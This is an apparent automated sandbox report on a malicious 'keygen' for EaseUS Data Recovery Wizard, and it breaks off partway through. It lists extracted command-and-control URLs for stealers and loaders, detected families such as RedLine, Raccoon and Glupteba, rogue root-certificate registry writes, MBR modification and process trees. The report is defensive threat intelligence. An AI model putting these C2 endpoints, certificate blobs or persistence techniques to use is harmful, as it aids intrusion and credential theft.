Resubmissions
06-04-2021 13:50
210406-gc51ndzsc2 1026-03-2021 23:40
210326-d1ybrjhevx 1013-03-2021 17:16
210313-8s7b52z63e 1005-03-2021 14:52
210305-34k3zj54f2 1001-03-2021 13:17
210301-naamxpgf4e 1028-02-2021 20:46
210228-6q3b959xae 1028-02-2021 20:15
210228-mbr268za12 1028-02-2021 18:32
210228-h944b5cpxa 1028-02-2021 15:10
210228-hnwwpyjy7j 10Analysis
-
max time kernel
33s -
max time network
301s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
28-02-2021 15:10
Static task
static1
Behavioral task
behavioral1
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win7v20201028
General
-
Target
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
-
Size
9.2MB
-
MD5
b806267b5f3b7760df56396b1cf05e6d
-
SHA1
5166d4c1d3e476281d9e991eababc3e4aa9ec5ad
-
SHA256
f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783
-
SHA512
30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
Extracted
raccoon
5d27abda281eabc425bfae4c755a0a6f987d743b
-
url4cnc
https://telete.in/h_gagger_1
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
raccoon
9ba64f4b6fe448911470a88f09d6e7d5b92ff0ab
-
url4cnc
https://telete.in/jagressor_kz
Extracted
raccoon
e4d9483b3bf93472877ddcf6765b01165102aed5
-
url4cnc
https://telete.in/s3santodomingo
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
-
Glupteba Payload 6 IoCs
resource yara_rule behavioral2/memory/1328-303-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/1328-307-0x0000000003710000-0x0000000003F6D000-memory.dmp family_glupteba behavioral2/memory/1328-308-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/6596-855-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral2/memory/6596-862-0x00000000036C0000-0x0000000003EC2000-memory.dmp family_glupteba behavioral2/memory/6596-866-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 11 IoCs
resource yara_rule behavioral2/memory/5576-409-0x0000000000560000-0x0000000000586000-memory.dmp family_redline behavioral2/memory/6040-426-0x0000000000400000-0x0000000000428000-memory.dmp family_redline behavioral2/memory/5568-435-0x0000000000400000-0x0000000000426000-memory.dmp family_redline behavioral2/memory/940-664-0x0000000000E00000-0x0000000000E2E000-memory.dmp family_redline behavioral2/memory/940-666-0x00000000028C0000-0x00000000028EC000-memory.dmp family_redline behavioral2/memory/7744-973-0x0000000004A30000-0x0000000004A5F000-memory.dmp family_redline behavioral2/memory/7744-976-0x0000000004BE0000-0x0000000004C0E000-memory.dmp family_redline behavioral2/memory/8188-1024-0x00000000017F0000-0x0000000001819000-memory.dmp family_redline behavioral2/memory/8188-1029-0x0000000003100000-0x0000000003127000-memory.dmp family_redline behavioral2/memory/7640-1052-0x0000000004950000-0x000000000497C000-memory.dmp family_redline behavioral2/memory/7640-1054-0x0000000004CC0000-0x0000000004CEB000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
DiamondFox payload 2 IoCs
Detects DiamondFox payload in file/memory.
resource yara_rule behavioral2/memory/7736-1046-0x0000000002F10000-0x0000000002F43000-memory.dmp diamondfox behavioral2/memory/7736-1047-0x0000000000400000-0x0000000000435000-memory.dmp diamondfox -
ModiLoader First Stage 1 IoCs
resource yara_rule behavioral2/memory/6076-653-0x0000000000400000-0x0000000000588000-memory.dmp modiloader_stage1 -
Nirsoft 6 IoCs
resource yara_rule behavioral2/files/0x000100000001ab97-79.dat Nirsoft behavioral2/files/0x000100000001ab97-80.dat Nirsoft behavioral2/files/0x000100000001abc4-112.dat Nirsoft behavioral2/files/0x000100000001abc4-111.dat Nirsoft behavioral2/files/0x0003000000015603-131.dat Nirsoft behavioral2/files/0x0003000000015603-130.dat Nirsoft -
XMRig Miner Payload 3 IoCs
resource yara_rule behavioral2/memory/7088-805-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/7088-811-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral2/memory/7088-841-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Creates new service(s) 1 TTPs
-
Executes dropped EXE 13 IoCs
pid Process 840 keygen-pr.exe 896 keygen-step-1.exe 1052 keygen-step-3.exe 1188 keygen-step-4.exe 4068 key.exe 4500 Setup.exe 2460 26FF190E7AE0F7C7.exe 1460 26FF190E7AE0F7C7.exe 4512 Install.exe 4740 multitimer.exe 3148 file.exe 4836 1614524836262.exe 1204 DC3C.tmp.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral2/files/0x000100000001ab85-30.dat office_xlm_macros -
resource yara_rule behavioral2/files/0x0002000000015604-118.dat upx behavioral2/files/0x0002000000015604-119.dat upx -
Loads dropped DLL 1 IoCs
pid Process 2888 MsiExec.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 6804 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 47 api.ipify.org 136 ip-api.com 283 api.2ip.ua 490 ip-api.com 83 ipinfo.io 86 ipinfo.io 226 ipinfo.io 278 api.2ip.ua 306 ipinfo.io 342 ipinfo.io 349 api.2ip.ua -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4500 Setup.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2460 set thread context of 3100 2460 26FF190E7AE0F7C7.exe 145 -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 19 IoCs
pid pid_target Process procid_target 5820 3964 WerFault.exe 143 5896 3964 WerFault.exe 143 5972 3964 WerFault.exe 143 2124 3964 WerFault.exe 143 5756 3964 WerFault.exe 143 6016 3964 WerFault.exe 143 6132 3964 WerFault.exe 143 1420 3964 WerFault.exe 143 4048 3964 WerFault.exe 143 5676 3964 WerFault.exe 143 7084 3964 WerFault.exe 143 5840 4504 WerFault.exe 354 6648 4504 WerFault.exe 354 6196 4504 WerFault.exe 354 7464 4504 WerFault.exe 354 7832 4504 WerFault.exe 354 8040 4504 WerFault.exe 354 8152 4504 WerFault.exe 354 4412 4504 WerFault.exe 354 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4648 schtasks.exe 6592 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 6280 timeout.exe 1376 timeout.exe 7644 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 1432 TASKKILL.exe 228 taskkill.exe 3672 taskkill.exe 4900 taskkill.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe -
Runs .reg file with regedit 2 IoCs
pid Process 4852 regedit.exe 4924 regedit.exe -
Runs ping.exe 1 TTPs 6 IoCs
pid Process 4560 PING.EXE 1564 PING.EXE 1896 PING.EXE 4800 PING.EXE 2252 PING.EXE 6896 PING.EXE -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 89 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 225 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 305 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 340 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 84 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4836 1614524836262.exe 4836 1614524836262.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4600 msiexec.exe Token: SeIncreaseQuotaPrivilege 4600 msiexec.exe Token: SeSecurityPrivilege 4596 msiexec.exe Token: SeCreateTokenPrivilege 4600 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4600 msiexec.exe Token: SeLockMemoryPrivilege 4600 msiexec.exe Token: SeIncreaseQuotaPrivilege 4600 msiexec.exe Token: SeMachineAccountPrivilege 4600 msiexec.exe Token: SeTcbPrivilege 4600 msiexec.exe Token: SeSecurityPrivilege 4600 msiexec.exe Token: SeTakeOwnershipPrivilege 4600 msiexec.exe Token: SeLoadDriverPrivilege 4600 msiexec.exe Token: SeSystemProfilePrivilege 4600 msiexec.exe Token: SeSystemtimePrivilege 4600 msiexec.exe Token: SeProfSingleProcessPrivilege 4600 msiexec.exe Token: SeIncBasePriorityPrivilege 4600 msiexec.exe Token: SeCreatePagefilePrivilege 4600 msiexec.exe Token: SeCreatePermanentPrivilege 4600 msiexec.exe Token: SeBackupPrivilege 4600 msiexec.exe Token: SeRestorePrivilege 4600 msiexec.exe Token: SeShutdownPrivilege 4600 msiexec.exe Token: SeDebugPrivilege 4600 msiexec.exe Token: SeAuditPrivilege 4600 msiexec.exe Token: SeSystemEnvironmentPrivilege 4600 msiexec.exe Token: SeChangeNotifyPrivilege 4600 msiexec.exe Token: SeRemoteShutdownPrivilege 4600 msiexec.exe Token: SeUndockPrivilege 4600 msiexec.exe Token: SeSyncAgentPrivilege 4600 msiexec.exe Token: SeEnableDelegationPrivilege 4600 msiexec.exe Token: SeManageVolumePrivilege 4600 msiexec.exe Token: SeImpersonatePrivilege 4600 msiexec.exe Token: SeCreateGlobalPrivilege 4600 msiexec.exe Token: SeCreateTokenPrivilege 4600 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4600 msiexec.exe Token: SeLockMemoryPrivilege 4600 msiexec.exe Token: SeIncreaseQuotaPrivilege 4600 msiexec.exe Token: SeMachineAccountPrivilege 4600 msiexec.exe Token: SeTcbPrivilege 4600 msiexec.exe Token: SeSecurityPrivilege 4600 msiexec.exe Token: SeTakeOwnershipPrivilege 4600 msiexec.exe Token: SeLoadDriverPrivilege 4600 msiexec.exe Token: SeSystemProfilePrivilege 4600 msiexec.exe Token: SeSystemtimePrivilege 4600 msiexec.exe Token: SeProfSingleProcessPrivilege 4600 msiexec.exe Token: SeIncBasePriorityPrivilege 4600 msiexec.exe Token: SeCreatePagefilePrivilege 4600 msiexec.exe Token: SeCreatePermanentPrivilege 4600 msiexec.exe Token: SeBackupPrivilege 4600 msiexec.exe Token: SeRestorePrivilege 4600 msiexec.exe Token: SeShutdownPrivilege 4600 msiexec.exe Token: SeDebugPrivilege 4600 msiexec.exe Token: SeAuditPrivilege 4600 msiexec.exe Token: SeSystemEnvironmentPrivilege 4600 msiexec.exe Token: SeChangeNotifyPrivilege 4600 msiexec.exe Token: SeRemoteShutdownPrivilege 4600 msiexec.exe Token: SeUndockPrivilege 4600 msiexec.exe Token: SeSyncAgentPrivilege 4600 msiexec.exe Token: SeEnableDelegationPrivilege 4600 msiexec.exe Token: SeManageVolumePrivilege 4600 msiexec.exe Token: SeImpersonatePrivilege 4600 msiexec.exe Token: SeCreateGlobalPrivilege 4600 msiexec.exe Token: SeCreateTokenPrivilege 4600 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4600 msiexec.exe Token: SeLockMemoryPrivilege 4600 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4600 msiexec.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4500 Setup.exe 2460 26FF190E7AE0F7C7.exe 1460 26FF190E7AE0F7C7.exe 3100 setup_10.2_us3.exe 4836 1614524836262.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4808 wrote to memory of 4288 4808 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 4808 wrote to memory of 4288 4808 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 4808 wrote to memory of 4288 4808 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 4288 wrote to memory of 840 4288 cmd.exe 81 PID 4288 wrote to memory of 840 4288 cmd.exe 81 PID 4288 wrote to memory of 840 4288 cmd.exe 81 PID 4288 wrote to memory of 896 4288 cmd.exe 82 PID 4288 wrote to memory of 896 4288 cmd.exe 82 PID 4288 wrote to memory of 896 4288 cmd.exe 82 PID 4288 wrote to memory of 1052 4288 cmd.exe 83 PID 4288 wrote to memory of 1052 4288 cmd.exe 83 PID 4288 wrote to memory of 1052 4288 cmd.exe 83 PID 4288 wrote to memory of 1188 4288 cmd.exe 84 PID 4288 wrote to memory of 1188 4288 cmd.exe 84 PID 4288 wrote to memory of 1188 4288 cmd.exe 84 PID 840 wrote to memory of 4068 840 keygen-pr.exe 85 PID 840 wrote to memory of 4068 840 keygen-pr.exe 85 PID 840 wrote to memory of 4068 840 keygen-pr.exe 85 PID 1188 wrote to memory of 4500 1188 keygen-step-4.exe 86 PID 1188 wrote to memory of 4500 1188 keygen-step-4.exe 86 PID 1188 wrote to memory of 4500 1188 keygen-step-4.exe 86 PID 1052 wrote to memory of 2200 1052 keygen-step-3.exe 87 PID 1052 wrote to memory of 2200 1052 keygen-step-3.exe 87 PID 1052 wrote to memory of 2200 1052 keygen-step-3.exe 87 PID 4068 wrote to memory of 1864 4068 key.exe 88 PID 4068 wrote to memory of 1864 4068 key.exe 88 PID 4068 wrote to memory of 1864 4068 key.exe 88 PID 2200 wrote to memory of 4560 2200 cmd.exe 90 PID 2200 wrote to memory of 4560 2200 cmd.exe 90 PID 2200 wrote to memory of 4560 2200 cmd.exe 90 PID 4500 wrote to memory of 4600 4500 Setup.exe 91 PID 4500 wrote to memory of 4600 4500 Setup.exe 91 PID 4500 wrote to memory of 4600 4500 Setup.exe 91 PID 4596 wrote to memory of 2888 4596 msiexec.exe 93 PID 4596 wrote to memory of 2888 4596 msiexec.exe 93 PID 4596 wrote to memory of 2888 4596 msiexec.exe 93 PID 4500 wrote to memory of 2460 4500 Setup.exe 94 PID 4500 wrote to memory of 2460 4500 Setup.exe 94 PID 4500 wrote to memory of 2460 4500 Setup.exe 94 PID 4500 wrote to memory of 1460 4500 Setup.exe 95 PID 4500 wrote to memory of 1460 4500 Setup.exe 95 PID 4500 wrote to memory of 1460 4500 Setup.exe 95 PID 4500 wrote to memory of 200 4500 Setup.exe 96 PID 4500 wrote to memory of 200 4500 Setup.exe 96 PID 4500 wrote to memory of 200 4500 Setup.exe 96 PID 1188 wrote to memory of 4512 1188 keygen-step-4.exe 97 PID 1188 wrote to memory of 4512 1188 keygen-step-4.exe 97 PID 200 wrote to memory of 1564 200 cmd.exe 99 PID 200 wrote to memory of 1564 200 cmd.exe 99 PID 200 wrote to memory of 1564 200 cmd.exe 99 PID 4512 wrote to memory of 4740 4512 